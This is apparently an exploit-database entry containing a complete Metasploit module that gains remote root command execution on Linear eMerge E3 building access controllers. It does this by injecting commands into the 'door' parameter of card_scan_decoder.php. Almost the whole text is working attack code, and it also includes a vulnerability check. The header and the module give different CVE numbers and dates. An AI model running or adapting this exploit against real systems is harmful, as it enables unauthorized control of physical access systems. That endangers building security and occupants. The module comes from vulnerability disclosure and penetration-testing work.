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# Exploit Title: eMerge E3 Access Controller 4.6.07 - Remote Code Execution (Metasploit) # Google Dork: NA # Date: 2018-11-11 # Exploit Author: LiquidWorm # Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/ # Software Link: http://linear-solutions.com/nsc_family/e3-series/ # Version: 4.6.07 # Tested on: NA # CVE : CVE-2019-7265 # Advisory: https://applied-risk.com/resources/ar-2019-009 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # Advisory: https://applied-risk.com/resources/ar-2019-005 # Tested on: GNU/Linux 3.14.54 (ARMv7 rev 10), Lighttpd 1.4.40, PHP/5.6.23 # ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Linear eMerge E3 Access Controller Command Injection', 'Description'=> %q{ This module exploits a command injection vulnerability in the Linear eMerge E3 Access Controller. The issue is triggered by an unsanitized exec() PHP function allowing arbitrary command execution with root privileges. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Gjoko Krstic <gjoko@applied-risk.com> ' # Discovery, Exploit, MSF Module ], 'References' => [ [ 'URL', 'https://applied-risk.com/labs/advisories' ], [ 'URL', 'https://www.nortekcontrol.com' ], [ 'CVE', '2019-7256'] ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets'=> [ ['Linear eMerge E3', { }], ], 'DisclosureDate' => "Oct 29 2019", 'DefaultTarget'=> 0 ) ) end def check res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path.to_s, "card_scan_decoder.php"), 'vars_get' => { 'No'=> '251', 'door'=> '1337' } }) if res.code == 200 and res.to_s =~ /PHP\/5.6.23/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def http_send_command(cmd) uri = normalize_uri(target_uri.path.to_s, "card_scan_decoder.php") res = send_request_cgi({ 'method' => 'GET', 'uri'=> uri, 'vars_get' => { 'No' => '251', 'door' => "<code>"+cmd+"</code>" } }) unless res fail_with(Failure::Unknown, 'Exploit failed!') end res end def exploit http_send_command(payload.encoded) print_status("Sending #{payload.encoded.length} byte payload...") end end |
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